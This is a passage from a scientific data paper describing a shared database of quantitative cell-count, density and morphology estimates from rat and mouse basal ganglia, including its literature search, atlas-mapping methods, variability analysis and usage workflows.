and neurodegenerative diseases such as Parkinson’s and Huntington’s disease21,22. Quantitative information about the cellular architecture of these regions in normal animals is needed for computational modelling efforts1,2, and represent an important benchmark for interpretation of results from experimental studies in different animal disease models23,24. The database holds > 1200 quantitative estimates derived from the literature and public repositories, normalised to standard units of measurements and mapped to common anatomical reference atlases. To our knowledge, this is the most extensive collection of available information on cellular basal ganglia parameters to date. The database is publicly shared via EBRAINS25, together with a workflow for updating it with results from future analyses. We believe this can be a valuable benchmark resource for anatomical studies or efforts to model the murine basal ganglia. Methods Overview of study design We created a database of data derived from the literature and public repositories. We here use the term derived data to describe the specific analytic results of a study, e.g. the number of cells in a given region, as opposed to the raw data that were used to generate this number. We limited our scope to quantitative information about number, distribution and morphology of cells and subcellular elements of the normal, rodent basal ganglia. We here consider the concept of the basal ganglia to include dorsal and ventral parts of the striatum (caudoputamen and nucleus accumbens) and pallidum (external globus pallidus, entopeduncular nucleus and ventral pallidum), as well as the subthalamic nucleus and substantia nigra26,27. We designed a database using Microsoft Access, and set up a search string to query the literature. Specific inclusion criteria were used to narrow the number of papers to include. For each paper, the methods and results sections were carefully read and annotated, and relevant metadata elements were integrated in the database. We also searched for repositories with relevant data. Wherever necessary and possible, we standardised terms and units used to describe data, and novel workflows were developed to map data to common schemes for regions and cell types of interest. Lastly, in order to make our database accessible and usable to the community, we shared it as a dataset through the EBRAINS Knowledge Graph (RRID:SCR_017612). Each main part of the study design (database design, search strategy, data / metadata standardisation, and data sharing) will be elaborated in the following. Database design We organised data derived from the literature in a Microsoft Access database with 45 tables, the most important of which are summarised in Fig. 1. All fields in all tables of the database are listed and explained in Supplementary File 1. Key tables in the database. Information about each source (publication or repository) is stored in the “Sources” table. Each source may have one or more related record in the “Experiments” table. An experiment may have one or more specimens, information about which is stored in the “Specimens” table. Specimens are not defined at the level of individual animals, but rather at the level of different types of specimen, e.g. a brain, serial sections, etc. The specimens are organised in levels, i.e. the whole brain is the primary specimen, and if a series of sections are cut from that brain it would be a secondary specimen. A specimen may have one or more derived data records, information about which is stored in the derived data records table. A derived data record can relate to one or more records in either the “Quantitations” or “Cell morphologies” table. A record in the quantitations table may or may not have a related record in the “Stereology details” table, depending on whether such procedures have been used; if similar parameters were used for stereological counting, several quantitations may relate to the same record in this table. The “Region records” table stores information about the location of one or more quantitation or morphology in standard EBRAINS atlas terms; in addition, information is stored about the accuracy of the translation from the original term used by the authors, as well as the documentation provided to support location information. For more information about each field in all tables of the database, including those not shown in this figure, see Supplementary File 1. *Primary key; **Foreign key. Search strategy Literature search strategy PubMed was queried via Ovid Medline for papers from 1946-present. This search string included key words related to (1) species of interest, i.e. rat and mouse; (2) brain regions of interest, i.e. basal ganglia regions; (3) methods of interest, i.e. typical methods employed in anatomical and morphological studies; and (4) parameters of interest, i.e. numbers, densities or distributions of cells, synapses, axonal boutons, or dendritic spines. The papers needed to contain one key word from each of the categories in either the title or the abstract (the parts were combined with AND operators). Three searches were performed, and search strings used are included in Supplementary File 2. In this iteration, we included all number, density and distribution data from the basal ganglia of adult, naïve rats or mice. However, the derived data was quite heterogeneous and few numbers could be compared. In the second and third search, we opted to include more data representing similar parameters. To this end, we narrowed the scope to data from the substantia nigra (second search) and caudoputamen (third search), but broadened the inclusion criteria to include all control animals of all (postnatal) ages. The first search was performed on January 3rd, 2018, and a total of 2246 papers were returned. All of these papers were manually screened, and included or excluded based on a set of predefined criteria. The data had to fit with the overall criteria specified in the search string (e.g. neuroscience related, murine data, and original article format) and be available in English. Furthermore, we only included papers with data related to adult, naïve animals, that is, animals that had not been subject to any experimental or control manipulations, behavioural tests or training, or any other experimental intervention. The only exception to this criterion was made where pooled data from two control groups were given (e.g. sham operation and naïve control) where individual measurements had been statistically compared and proven similar. Animals with genetic manipulations, e.g. fluorescent expression in certain cells, were also excluded. Non-naïve animals were excluded to reduce the number of included publications in this first iteration of the search. However, in later and more specific queries, studies of non-naïve animals were included in order to avoid missing clearly relevant data (see below). Papers had to present quantitative data of interest in text or tabular format, excluding papers presenting data in graphs only. Lastly, data needed to be possible to normalise to a common unit of measurement. This generally meant that data had to be presented as numbers representing either a region of interest or a standard unit (square or cubic nano, micro-, or millimetre). In contrast, we excluded data that were presented as relative measures such as percentage of control or numbers per section. After manual screening, we included 65 publications with data of interest from the normal adult rat or mouse basal ganglia. An additional eight papers were included through tracking references of particularly relevant papers approach so that 72 papers were ultimately included in the first search. The search string employed was a compromise between sensitivity and specificity, with the use of keywords related to tissue preparation method (e.g. immunohistochemistry, immunofluorescence, histology) reducing the number of search entries considerably. Since a substantial proportion of papers found with the initial search were excluded during manual screening, these keywords were included to narrow the number of papers returned. Nevertheless, to avoid missing clearly relevant papers, we performed an additional, targeted search for papers particularly conducting stereological counting in the next iterations of the search. Thus, two separate search strings were used for the second search: 1) the same string as in the first search, but with substantia nigra keywords only (performed on August 14th, 2018); and 2) an additional search string including only (stereolog*) and the keywords related to substantia nigra (performed on August 22nd, 2018). In the third search, we repeated both parts of the second search, but with the striatum (caudoputamen) as the region of interest. The two parts of the last search were performed 1) on November 30th, 2018 and 2) on January 17th, 2019. All the papers were screened manually, according to essentially the same criteria as for the first search, except that we included all control animals of all (postnatal) ages, including those genetically altered to express fluorescence in certain cells. We also included studies using animals that had been treated according to standard neuroanatomical protocols, e.g. axonal tract tracing experiments. The second search returned 1168 papers of which 84 were included, while the third search yielded 1806 papers of which 91 were included. Because some of the papers appeared in more than one of the search rounds, the total number of publications ultimately included in the database was 239. The search strategy, inclusion criteria and results for each iteration of the search is summarised in Fig. 2. Search strategy, inclusion criteria and results for the literature search. We performed three iterations of our PubMed search (search 1–3) and manually screened all returned papers to collect data of interest for the current project. The basic search string was the same in each of these iterations, but with changes in which basal ganglia regions were included. In the second and third search, we also used an additional, targeted search string to retrieve sterological studies. The full search strings are included in Supplementary file 2. In the first iteration of the search, we only included data from naïve (untreated) adult animals from all basal ganglia regions. In the second and third search, we narrowed our scope to the substantia nigra and caudoputamen, respectively, but included data from all (postnatal) control animals. See text for further details about the criteria. In the end, 239 unique papers were included in our database (some papers appeared in two or more of the searches). To limit the selection of papers and thus the scope of the survey, we excluded papers presenting data in graphs only. However, for studies presenting some material in text and some in graphs, we digitised graphs to extract all relevant data from the paper. We used a web-based plot digitiser () to import graph images, added reference points, and extracted the relevant means and error measurements. As this approach was quite time consuming, we used it for selected papers in the first and second search only. We included a field in the database to specify whether an estimate was extracted from text or from a graph. Repository search strategy Several data and metadata repositories exist with various types of neuroscience information, and the Neuroscience Information Framework (NIF,; RRID:SCR_002894)28 catalogues these resources. We therefore searched the NIF for portals or databases related to rat or mouse, which returned 281 public repositories with information from rats or mice. From these, we selected nine resources that appeared to be relevant to the current project. To be included, a repository had to include relevant derived data in addition to appropriate metadata. Two repositories fulfilled these criteria: Neuromorpho (; RRID:SCR_002145; neuronal morphology information29, e.g. soma size, number of bifurcations; see frequently asked questions at for a full list) and Mouse Brain Architecture (; RRID:SCR_004683; cell densities). Since the NeuroMorpho database is organised in several archives, each containing data from one laboratory, each such archive was treated as a separate source in our database, with the prefix “NMO” in the source name indicating that the data came from NeuroMorpho. A table of the evaluated repositories is included in Supplementary File 3. Lastly, we included information extracted from an Allen mouse brain in situ hybridisation experiment, available as a derived dataset via the EBRAINS Knowledge Graph30. Data and metadata standardisation To give a unified view of data, we mapped them to key features in common schemes. Two particularly important such features in neuroscience are anatomical region and cell type of interest. Indeed, other databases have generally been structured around regions14 or cell types16,31, or both15. In the following, we describe the workflows established in this project to map data to common terms for regions and cell types of interest, as well as how all data were standardised to common units of measurement. Mapping data to semantically defined anatomical regions of interest Reference atlases are commonly used in neuroscience in order to relate data to anatomical locations in the brain; however, there are several alternatives to reference atlas available just for the rat32,33,34,35 or mouse brain36,37, that vary with respect to how they name and define regions. Data related to a specific region in one atlas are therefore not necessarily easily compared to data related to a similarly named region in another. Even data related to the same region in different versions of the same atlas may not be directly comparable, since some borders may have been significantly revised between atlas versions. In our database, all data were related to the three-dimensional (3D) standard atlas templates used in EBRAINS – the Waxholm space atlas of the rat brain (WHS, version 1.0134,38; RRID:SCR_017124) and the Allen Mouse Brain Common Coordinate Framework (CCF, version 337). Using the QuickNII software for registration of 2D section images to 3D atlases39 (RRID:SCR_016854), we mapped plates from several of the most common atlases32,33,40,41,42,43,44,45,46,47,48,49 to WHS or CCF (Fig. 3a). The location metadata, specifying the parameters used to spatially register the different atlases to the WHS or CCF, are available as datasets from the EBRAINS Knowledge Graph50,51,52,53,54,55,56,57,58,59,60,61,62. We used the spatially co-registered atlas diagrams to inspect and define the spatial relationships between our regions of interest (basal ganglia regions) in the WHS or CCF and regions defined in other atlases. The type of relationships were categorized as identical, part of, includes, overlapping, or non-overlapping (Fig. 3c). The latter was used only in cases where regions could be expected to be related (e.g. by sharing the same name), but were found not to be. Descriptive comments about the relationships were added. In addition, to semi-quantitatively describe the degree of comparability of two regions, we applied a region comparability score, ranging from zero (non-overlapping structures) to 10 (completely identical structures). The criteria underlying this scoring system and categorization of relationships are provided in Supplementary File 4. The accumulated information about the spatial relationships defined between atlas regions are shared through the EBRAINS Knowledge Graph as separate data sets61,62. Defining topological relationships of corresponding regions in different atlases. (a) Comparison of 2D coronal plates taken at the level of the genu of the corpus callosum in a fictive mouse atlas (black; drawn here for illustration purposes) to spatially matching custom plates through the 3D Allen Institute Common Coordinate Framework of the mouse brain (CCF, green37;). By superimposing reference atlas plates with custom plates from the 3D atlas, it becomes possible to compare boundaries of regions in the two atlases. (b) The location of the plates shown in (a) and (c) is indicated in a transparent 3D rendering of the CCF atlas made using the Scalable Brain Atlas (), with the basal ganglia shown in dark grey. After comparison of the co-registered atlas plates, the relationship between atlas regions is categorised as one of the types illustrated in (a), in which regions from the fictive atlas are shown in grey and CCF regions in green. A region is part of another region (c1), if its area is fully contained within the area of another region. For example, the fictive atlas has a region “nucleus accumbens core”, which is completely part of the larger nucleus accumbens in the CCF. Overlapping regions (c2), pertains to the situation that corresponding regions in the two compared atlases partly occupy the same space, and partly not, as seen for the lateral interstitial nucleus of the posterior limb of the anterior commissure (IPACl) in the fictive atlas, which in some parts overlaps with the fundus of striatum (FS) and caudoputamen as defined in the CCF. A region includes another region (c3), if its area fully contains the area of the other region (c3), exemplified here by two versions of the external globus pallidus (GPe), which is larger in the fictive atlas than in the CCF. Identical regions are largely similar, with little or no areas of non-overlap (c4), exemplified here with the subthalamic nucleus (STN). Relationships are exemplified here for single sections, but were determined by comparison of co-registered atlas diagrams across entire regions. Abbreviations: ACBC, nucleus accumbens, core region; ACB, nucleus accumbens; FS, fundus of striatum; GPe, globus pallidus external segment; IPACl, lateral interstitial nucleus of the posterior limb of the anterior commissure; STN, subthalamic nucleus. The locations of data presented in papers were not always defined with use of terms from a specific reference atlas. We considered data to be related to a region in an atlas only in cases where it could be clearly inferred which region (or set of regions) in the cited atlas authors referred to. This generally involved use of a specific reference to an atlas and a region name existing in that particular atlas, with a few exceptions where authors referred to a region at a lower granularity than given in the atlas. For example, although the exact term ‘substantia nigra’ does not appear in most atlases (the region is usually subdivided, at least into a reticular and a compact part), it is reasonable to use this term to refer to the various substructures together. The crucial point is to define the inclusion or exclusion of subdivisions as they are named in the particular atlas. In cases where this was not clearly defined, it was reflected in our translation by storing the coverage and specificity as “unknown”. For data not defined in terms of a reference atlas, we considered the region to be defined in a ‘custom’ parcellation scheme. In these cases, knowledge about relations to our atlases could only be inferred from the documentation provided by the authors. To translate such custom terms, we therefore carefully considered the documentation and assigned an atlas term based on our knowledge about the basal ganglia regions and terms typically used to describe them. In general, more well-documented regions of interest allowed for more accurate translation with higher confidence. For each mention of a region of interest, we included metadata describing how it was documented and stored this in the “Region records” table. We furthermore calculated a score to capture the degree to which each region of interest was documented (referred to as a “documentation score”. Different types of documentation were weighed differently, and a score between 1 and 10 was calculated. Information about the documentation factors and their weight in the documentation score can be found under the “Region records” table section in Supplementary File 1. Mapping data to cell types of interest All of the objects for which we collected quantitative information in this study belong to a cell: subcellular objects originate from a cell of interest, and reconstructed and counted cells have an identity. Cell type classification is not trivial63,64, as there are many complementary approaches to the task (e.g. cytochemical, electrophysiological, morphological), and thus no standard ontologies of cell types exist. To map data to cell types, we captured information about the various phenotypes that a cell might have. This approach was inspired by ongoing work from the INCF special interest group on Neuroinformatics for cell types (). We included seven broad phenotype categories: brain region (e.g. striatum, substantia nigra), expression (e.g. parvalbumin, tyrosine hydroxylase), electrophysiology (e.g. fast spiking), morphology (e.g. spiny neuron, giant neuron), connectivity (e.g. direct pathway neuron), local connectivity (e.g. perisomatic neuron), and circuit function (e.g. inhibitory neuron). For every derived data set, information was stored about the phenotype recorded for the particular cell. One or more phenotypes might be used in a particular study to classify the neuron type(s), and based on the phenotype(s) identified, a putative cell type was assigned. Some data spanned several different cell types, for example when numbers of all objects of interest were counted regardless of type (e.g. counting all dendritic spines or cell bodies in a certain area). In these cases, data are relevant for all cell types, and have simply been linked to the type “Cell”, “Neuron”, or “Glia”, depending on the phenotypes identified. Standardisation to common units of measurement Prior to data entry, we converted all density units to square or cubic milli- or micrometres. Standard errors were converted to standard deviations by dividing by the square root of the sample size. Information about calculations performed to standardise a measurement was entered in the database. For data given per square milli- or micrometres, we calculated the volumetric density by dividing numbers by section thickness65. These were entered in the database in addition to original 2D counts. Numbers obtained by direct counts without any corrections were corrected using Abercrombie’s formula4,66 prior to calculating volumetric density. These calculations are elaborated in Supplementary File 5. We did not standardise total number estimates before entering these to the database, but rather indicated whether counts were uni- or bilateral. When it was not clear whether estimates were uni- or bilateral, we contacted the corresponding author of the paper to clarify. If no clarification was obtained, this field was indicated as “Unknown”. In some cases assumptions, interpretations and slight modifications were made to give data similar formats, and we followed specific rules to ensure consistency throughout the data entry process. Details about this can be found in Supplementary File 6. Sharing the database through the EBRAINS Knowledge Graph We exported .csv files from all the tables in the database. In addition, we made and exported query tables containing selected metadata elements from multiple tables for quantitative estimates, distributions, and cell morphologies. We also created a version of the database specifically designed to input data, and an Excel sheet configured for converting data from any density unit to volumetric densities or bilateral counts to unilateral ones. All of these elements (.csv files, empty database version, and Excel conversion sheet) are shared under a single dataset through EBRAINS25. Data Records The database created here, hereafter referred to as the “Murine basal ganglia database”, is shared via EBRAINS25 (). It contains information from 375 experiments reported in 245 sources; from these, we extracted 1228 quantitative estimates (501 total number estimates and 727 density estimates), 50 neuronal morphologies, and 18 distribution records of basal ganglia cellular parameters. The content of the Murine basal ganglia database is summarised in Fig. 4. Summary of database content. The current version of the database contains 1228 quantitative estimates and 50 cell morphologies, obtained from 375 experiments reported in 245 sources. Contents are sorted and displayed in pie charts according to key metadata elements. The most common journal sources include the Journal of Comparative Neurology, Journal of Neurochemistry, Neuroscience, and Brain Research. Most sources were published in 2000 or later. Experiments reported are primarily from male, adult animals, with slightly more mouse data included compared to rat data. Through our translation process for anatomical location metadata, 80 anatomical terms were translated to 21 terms found in standard rat and mouse atlases. Data on a total of 100 cell types are included in the database, with approximately half of the 668 derived data records related to TH positive neurons or all neurons. Of the 1228 quantitative estimates found in the database, 501 are total number estimates and 727 are density estimates. These are mainly estimated numbers of neurons, cells or glia, with substantia nigra and striatal regions heavily represented. The 50 cell morphologies in the database are mainly from striatal regions (nucleus accumbens, caudoputamen, or striatum overall). Additional metadata are represented in the database, which is available from the EBRAINS Knowledge Graph25. The shared dataset includes .csv files for all tables in the Murine basal ganglia database as well as the original.accdb file; these files contain the full set of metadata collected during the creation of the database. In addition, we share .csv and .xlsx files for data extracted from the database. These files contain all the numerical, distribution and morphology data available from the Murine basal ganglia database, with selected metadata that we considered relevant for most users. Furthermore, we have established a workflow to allow other researchers to expand upon the knowledge contained in the current version (detailed in usage notes below). To support the use of this workflow, we share an empty version of the Murine basal ganglia database (.accdb) with a spreadsheet (.xlsx), through which researchers can collect and / or contribute more information. Technical Validation In the following, we first consider how the search strings and selection criteria have affected the results of the PubMed search and content of the database. We then evaluate the validity of the graph data extraction procedure. Lastly, we assess and discuss the variability of a selection of the data contained in our database by summarising the information available about the number of tyrosine hydroxylase (TH) positive neurons in the substantia nigra, and the total number of neurons in the caudoputamen. Selected papers and repositories The most common reason for excluding papers were that they did not contain data of interest (54% of papers excluded) or that data were from experimentally manipulated animals without inclusion of a normal control group (15% of papers excluded). Among the studies in which relevant quantitative data had been obtained, 40–45% were excluded in each iteration of the search (11% of all papers) because data were not possible to normalise, due to lack of metadata necessary for comparing the data across studies or re-using them in a different context. Examples include papers where numbers were expressed per section or as percentage of control, or in rare cases, without specification of the unit of measurement. 8% of all search results were excluded because data were presented in graphs only, in each search this concerned 48–59% of the papers of interest with data that otherwise could have been normalised to a common unit of measurement. In a limited selection of papers presenting some data in text and other data in graphs we converted graph data to numeric data (see, Methods) to increase the amount of data extracted, but as this was time consuming it was not feasible to perform on a larger collection of data. In the end, 6% of papers were included. The percentages described here are based on data from the second and third search; the proportions of papers excluded based on the various criteria were relatively similar for the first search, except that the included percentage (3%) was lower since only completely untreated adult animals were included. Searching and screening papers manually is a time consuming task, and in our literature search led to exclusion of more than 90% of papers. We observe that other literature mining projects have presented similar exclusion rates67. This illustrates that designing search strings that are both sensitive and specific is a significant challenge. Validation of data extracted from graphs Papers from the first iteration of the search that presented the same numbers both in graphs and text were used to validate the graph extraction approach. For these cases, we extracted the numbers and error measurements using the graph plot digitiser (see Methods), and compared the resulting numbers with those presented in the text. This showed a negligible discrepancy between means extracted from text and graph (0.08–1% difference), and relatively low differences between extracted standard errors (5–12% difference). Variability in a selection of quantitative estimates from the murine basal ganglia We here present summary data from some of the parameters available in the Murine basal ganglia database. To assess whether variance could be considerably reduced by selecting data obtained by certain methods, we sequentially filtered the data according to methodological metadata (see sections below for details). Tyrosine hydroxylase positive neurons in the substantia nigra The principal neurons of the substantia nigra are dopaminergic neurons, which can be visualised by using antibodies against the enzyme tyrosine hydroxylase. TH neurons contribute to motor behaviour by their projections to the striatum, and are frequently investigated in murine models for mechanisms of Parkinson’s disease26. In our database, unilateral estimates of the total number of TH neurons in the substantia nigra, pars compacta of the adult (P56 and older) C57BL/6 mouse range from 1090 to 16145 (mean = 6065, SD = 3456, n = 30 estimates). The same range and very similar variation is seen when selecting only stereological studies (range = 1090 to 16145, mean = 6495, SD = 3503, n = 26 estimates). Further filtering of stereological estimates by excluding those that are anatomically non-specific or only partly covering the pars compacta, does not reduce variation either (range = 3360 to 16145, mean = 7706, SD = 3680, n = 14 estimates). Only two of the 30 total number estimates for the C57BL/6 mouse substantia nigra, pars compacta are connected to an antibody with a unique RRID; filtering results based on the exact primary antibody used is therefore not possible. For the adult (P60 and older) rat (all strains), the range of unilateral values in the database is 3260 to 11969 (mean = 7733, SD = 3252, n = 8 estimates). Box plots summarizing these estimates and similar ones from the whole substantia nigra are given in Fig. 5a. Variability of estimates from the literature. Figure showing summary data for estimates from the database. The whiskers represents the values that fall within 1.5 times the interquartile range. (a) Box plot showing total number estimates of TH positive cells in one hemisphere of the substantia nigra pars compacta (light yellow and light blue boxes for mouse and rat, respectively) and the whole substantia nigra (including the compact, reticular and lateral parts, which in some studies also may have included parts of the ventral tegmental area; dark yellow and dark blue boxes for mouse and rat, respectively). (b) Box plot showing neuron density estimates in the caudoputamen of mice (yellow box) and rat (blue box). The n represents the number of estimates, but note that more than one of these could originate from the same publication or repository source. Neuron numbers and densities in the caudoputamen The caudate-putamen complex (hereafter referred to as the caudoputamen) is the largest part of the basal ganglia, receiving axonal projections from the cerebral cortex, and extending projections to several other parts of the basal ganglia circuitry68. There are two main types of principal neurons in the caudoputamen, identifiable by the different types of dopamine receptors they possess26. Because well-validated and replicated antibodies against these receptors are lacking69, studies of the caudoputamen frequently assess total neuron numbers using histochemistry or neuronal markers such as NeuN antibodies. Unilateral estimates in the database representing the total number of neurons in the caudoputamen of adult mice (all strains) range from 856649 to 1711615 (mean = 1107325, SD = 296707, n = 10 estimates). Note that six of these estimates come from the same study. Estimates of neuron density range from 32166 to 151112 per cubic millimetre (mean = 90407, SD = 42133, n = 23 estimates). The range of density estimates is the same and variability not reduced by selecting stereological estimates only (mean = 88705, SD = 44009, n = 18 studies). In rats, only very few estimates of total numbers for the caudoputamen are available in the database. The estimated neuron density in the adult rat caudoputamen varies from 19129 to 64050 neurons per cubic millimetre (mean = 35529, SD = 15029, n = 13 estimates). The neuron density estimates for caudoputamen are summarised in box plots in Fig. 5b. Possible reasons for observed variability Our assessment of the variability of quantitative neuroanatomical data from the substantia nigra show that for TH expressing neurons in the pars compacta of C57BL/6 mice, the reported numbers range from approximately 1000 to over 16,000 cells unilaterally. High variability is also seen in the caudoputamen data. Interestingly, the reported neuron density (per cubic millimetre) is on average ~twice as high in the mouse than in the rat. Although the numbers reported within the species varies a lot, the ratio between the mean densities correspond well with estimated scaling rules between rat and mouse brains70. For the mouse caudoputamen, estimates of total neuron numbers in the database range from 856649 to 1711615 in one hemisphere. Few studies include the range of values collected in addition to summary statistics, but it is clear that the variability between studies is much higher than that within studies. For example, in a study comparing neuron numbers in the caudoputamen across different mouse strains71, the difference between the bilateral average of the groups with the highest and lowest number was 324926. It is thus highly unlikely that the range we observe across studies, of almost one million cells unilaterally, can be attributed solely to biological variance. Instead, the reasons for the large variation in numbers reported from within a region are likely to be manifold. Due to the wide-spread lack of methodological metadata in papers, the size of groups containing estimates obtained by clearly defined and similar methods was too small to support formal statistical analysis on differences in variability. Collection of more data to the Murine basal ganglia database, combined with improved reporting practices, could allow such analyses in the future. Nevertheless, we believe that the present data collection, shared through the EBRAINS Knowledge Graph, can be useful for finding and comparing published data. The ability to filter the data based on metadata elements might also be useful to select appropriate data, depending on the need of the user. Combined with our defined workflows for contributing more information, we believe these results will make it easier to select, organise, compare and share quantitative information from the literature or from new analyses in the future. We describe these uses of the database in detail below. Usage Notes Our database is shared through the EBRAINS Knowledge Graph as part of a dataset entitled “Database of quantitative cellular and subcellular morphological properties from rat and mouse basal ganglia”25. It comprises three main parts (see Data records for details): 1) the Murine basal ganglia database (Database_v1.accdb); 2) spreadsheets with all the quantitative estimates, morphologies and distributions contained in the Murine basal ganglia database (files in .xlsx and .csv format) with selected metadata; and 3) an empty version of the Murine basal ganglia database (Input_database.accdb) and a spreadsheet (Input_sheet .xlsx) facilitating collection of new data. We here briefly explain how researchers with different interests may utilise different parts of this dataset. These descriptions are intended as example use cases, and the reader is referred to other sources72,73 for guides on the use of Microsoft Access and Excel (RRID:SCR_016137). Because maintaining and updating information is a challenge with any database that is seldom addressed, we go on to describe a workflow through which other researchers can organise and share more data, using shared database and spreadsheet templates. Using the Murine basal ganglia database and the data extracted from it Exploring the reported numbers of tyrosine hydroxylase neurons in substantia nigra A researcher wants to look up the reported numbers of TH neurons in substantia nigra. Having downloaded the dataset titled “Database of quantitative cellular and subcellular morphological properties from rat and mouse basal ganglia”25, (s)he opens the README file to get a quick overview of the contents. There, (s)he sees that the Data Extracts-folder contains queries that include all the numbers available in the database. (S)he finds that such extracts are likely to meet his/her questions, and navigates to the relevant folder. S(h)e opens the.xlxs file called “Cell counts” and selects the sheet called “Total number estimates”. The first three columns show the cell types that have been quantified, the species, and the regions of interest. The researcher filters the records to “Tyrosine hydroxylase expressing” cells, “Mus musculus” and “Pars compacta” (to simultaneously filter multiple columns in Microsoft Excel, select all the columns to be filtered, and under the Data tab click “Filter”). This yields 70 records, each one with accompanying metadata elements related to the animals, counting method, and region of interest. To explore the data further, e.g. by extracting descriptive measurements, (s)he copies the filtered records to a new sheet (in Microsoft Excel, go to Find & Select, click “Go to special” and select “Visible cells only”). Finding studies using a specific primary antibody A researcher has used immunohistochemistry to visualize parvalbumin positive neurons, and quantified labelled cells using stereological analysis. To verify the results (s)he is now interested in finding quantitative data from studies where the same antibody has been used. (S)he downloads the dataset titled “Database of quantitative cellular and subcellular morphological properties from rat and mouse basal ganglia”25 from EBRAINS, and upon looking at the “Cell counts” data extracts finds that they do not contain metadata specifying the antibody used. (S)he therefore navigates to the Database-folder and opens the.accdb file and the text file called “Tables_description”. In the text file, (s)he finds that antibodies are stored in the lookup table “Reporters” with connections to the table “Sources” via other tables. (S)he navigates to the Create table and clicks the Query Wizard. After selecting the Simple Query Wizard, (s)he selects the “Reporter name” and “Reporter unique ID” fields from the “Reporters” table and the “Source name” and “Source ID” field from the “Sources” table. (S)he clicks “Finish” and is presented with a query including a list of antibodies, their unique RRIDs, and the name and DOI of the source in which they were used. (S)he clicks the “Reporter unique ID” column header and scrolls to see if the antibody of interest (RRID:AB_10000344) is among the listed IDs. It is, and (s)he filters the list to these records. This yields a list of four studies where the antibody has been used. The researcher can now look for results from these studies in the Cell counts data extract by filtering it to the relevant Source names, or look up the original papers by use of the DOIs. Overviewing the methodological parameters of a study Upon identifying the studies using an antibody of interest, the researcher described above wants to get a quick overview of the methods used in these studies. In the Tables description-file, (s)he reads that the tables “Specimens” and “Specimen_treatments” contain information related to the treatment of tissue reported in included papers. (S)he therefore creates a new query, including the “Source name” from the “Sources” table, the “Specimen form” from the “Specimens” table and the fields “Solution”, “Purpose”, “Time”, “Time unit” and “Temperature” from the “Specimen treatments” table. Since (s)he is primarily interested in the methods related to parvalbumin stained material, (s)he also includes the “Cell type putative” field from the table “Derived data records”. She clicks “Finish”, and filters the resulting query to his/her studies of interest by clicking the “Source name” column header and selecting the relevant Source names. (S)he also clicks the “Cell type putative” column header and uses the text filter to select only records that contains “Parvalbumin”. This yields 13 records summarizing the treatments used for each specimen. Using the workflow for harvesting, organizing and updating neuroanatomical data In order to compare numbers reported across studies, it is first necessary to systematically extract relevant data and metadata and to standardise these to common units and concepts. We here present a workflow enabling users to harvest and organise their quantitative neuroanatomical data from the literature or public databases. This workflow includes a template version of the Murine basal ganglia database (with forms supporting input of largely standardised metadata) available through the dataset hosted in the EBRAINS Knowledge Graph25, a novel procedure for translating terms for regions of interest to common terminology, and a preliminary approach for mapping data to cell-types of interest. We include steps through which other researchers can enter new information to the database and share this with the broader community. The workflow is summarised in Fig. 6. Workflow for integration of derived data. Schematic representation of the main workflow described in this paper, as well as the tools and services used (in grey). Coloured arrows indicate specific ways different users may interact with the database or the workflow, today or in the future. Blue arrows illustrate how a researcher may use the database to identify data to constrain a computational model of the basal ganglia. Through the EBRAINS Knowledge Graph, derived data may be found as a shared dataset25, downloaded and explored. Green and purple arrows show how researchers may use the workflow and resources developed to update the database in the future, identifying and interpreting new sources (green arrows) or by contributing own data (purple arrows). In the workflow, data are included by use of specific criteria, and interpreted manually. Derived data are extracted and standardised to common units of measurement using a custom Excel workbook. The Excel workbook is designed for input of data as well as minimum metadata according to the EBRAINS standard. Optionally, more extensive metadata may be integrated through a Microsoft Access database input portal. Once organised, derived data may be shared through the EBRAINS curation support, through which it can be made available as part of the collection found in the Knowledge Graph. Translation of terms across neuroanatomical nomenclatures A key part of the overall workflow is the translation of semantic terms existing in different reference atlases to terms used in the standard reference atlases used by EBRAINS (Supplementary Fig. 1). These include the Waxholm Space atlas of the Rat Brain34,35,74 and the Allen Mouse Brain Common Coordinate Framework37. Anatomical metadata found in sources essentially enters one of three routes. In the first route, terms that are consistent with the nomenclature for one of the EBRAINS standard atlases are directly entered in the database. In the second route, terms that are consistent with another atlas nomenclature are translated to the closest matching region term in the relevant EBRAINS atlas. The basis for making such a translation is given by the spatial relationships between regions delineated in the different atlases used, and regions in the EBRAINS standard atlases (see Methods for details); these relationships are available as datasets through the EBRAINS Knowledge Graph61,62. The third route for inserting anatomical metadata found in sources, are for terms that are not consistent with any standard nomenclature. These are treated as “custom” terms, and translated to the closest EBRAINS atlas term by using the documentation available from the source. This was the most commonly used route in the current project, used for ~62% of reported regions. Note that 4% of the sources used an atlas for which relationships to EBRAINS atlases were not available, and these also entered the custom region translation route. Updating the Murine basal ganglia database A database is only up-to-date as long as the data are maintained and expanded with new information. In addition to sharing the content aggregated and organised through this project, we therefore outline how researchers could contribute to the Murine basal ganglia database in the future. Researchers might want to add more data from the literature (green arrows, Fig. 6) or from own experiments (purple arrows, Fig. 6). The first step for anyone wishing to add more data from the published literature is to identify potential new sources. This could be done through a literature search similar to that described in this paper (with date filters constraining the search to the period after the current search was performed, see Supplementary File 2 for a list of the search strings used here). Alternatively, advances in text mining might yield opportunities for more automatic search strategies75. The next step in the workflow is interpretation: the source needs to be examined manually to identify the relevant data and metadata elements to be extracted. Once produced or identified through the literature, data should be extracted and metadata standardised. For this purpose, we share an Excel workbook with sheets where data can be entered in any format. Upon insertion of the number and unit, calculated fields standardise data to represent number per square or cubic micro- or millimetre. For cell counts, volumetric densities are also estimated from 2D counts given that section thickness is provided, according to the calculations described in Supplementary File 5. The Excel workbook is also tailored for input of basic metadata as required by EBRAINS (). It may be used in a relatively simple route to collecting data and contributing to the database (long green and purple lines in Fig. 6). Alternatively, it may be used as a means to organise and standardise data before entering it with extended metadata in the database. For this purpose, we share an empty version of the Murine basal ganglia database (an “input portal”) specifically designed to add new data with the full extent of metadata collected for the current project. The Excel sheet and Access database tailored for input are shared as .xlxs and .accdb files, respectively, and can be downloaded together with the Murine basal ganglia database through the dataset hosted at EBRAINS Knowledge Graph25. In our experience, the interpretation, extraction, standardisation and integration steps might require from half an hour to several hours per publication; generally, less time is required to integrate data that is provided in tabular format and using standard units of measurement (square or cubic micro- or millimetres), with a clearly described methodology. The files shared here to facilitate collection of new data may be populated and stored locally by the user, or shared with the community. The last step of the workflow outlined here (Fig. 6) is thus sharing the data. This could be done through any data sharing platform, e.g. Zenodo () or Figshare (). The EBRAINS curation service ([email protected]) and Knowledge Graph offers the advantage of being tailored to neuroscience data, and would allow for new data collections to be linked to the version of the Murine basal ganglia database presented here25. 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Acknowledgements We thank Krister Andersson, Camilla Blixhavn, Heidi Kleven, Martin Øvsthus, Lyuba Zehl and Oliver Schmid for useful discussions, and Ulrike Schlegel for help with sharing datasets through the 